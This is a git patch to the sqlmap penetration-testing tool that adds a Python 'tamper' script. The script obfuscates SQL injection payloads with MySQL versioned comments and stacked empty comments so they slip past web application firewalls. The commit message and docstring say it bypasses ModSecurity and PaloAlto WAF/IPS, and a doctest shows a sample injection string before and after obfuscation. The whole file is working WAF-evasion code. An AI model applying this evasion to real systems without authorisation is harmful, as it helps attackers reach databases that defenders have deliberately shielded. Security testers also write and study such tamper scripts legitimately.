From 91551e72393167f0ae42589c6bddca68d3268a3f Mon Sep 17 00:00:00 2001 From: ekultek Date: Thu, 2 Nov 2017 13:19:21 -0500 Subject: [PATCH] created a tamper script that embrances mod zero-version plus multi spaces in one, this is the script that I used to bypass the WAF as mentioned in issue #2749 --- tamper/multifixspaceplusmodsec.py | 39 +++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 tamper/multifixspaceplusmodsec.py diff --git a/tamper/multifixspaceplusmodsec.py b/tamper/multifixspaceplusmodsec.py new file mode 100644 index 000000000..150e530ca --- /dev/null +++ b/tamper/multifixspaceplusmodsec.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Embraces ModSecurity zero-versioned bypass and multiple space to comment bypass in one + + Requirements: + * MySQL >= 5.0 + + Tested against: + * MySQL <= 5.0 + * MySQL >= 5.0 + + Notes: + * Can be used to bypass PaloAlto and ModSecurity WAF/IPS + + >>> tamper("1) AND 6362=9217 AND (7458=7458") + /*!000001)*//**//**//**//*!00000AND*//**//**//**//*!000006362=9217*//**//**//**//*!00000AND*//**//**//**//*!00000(7458=7458*/ + """ + if payload: + retVal = [] + amountToReplace = 3 + + for data in payload.split(" "): + retVal.append("/*!00000%s*/" % data) + + return '%s' % ('/**/' * amountToReplace).join(retVal)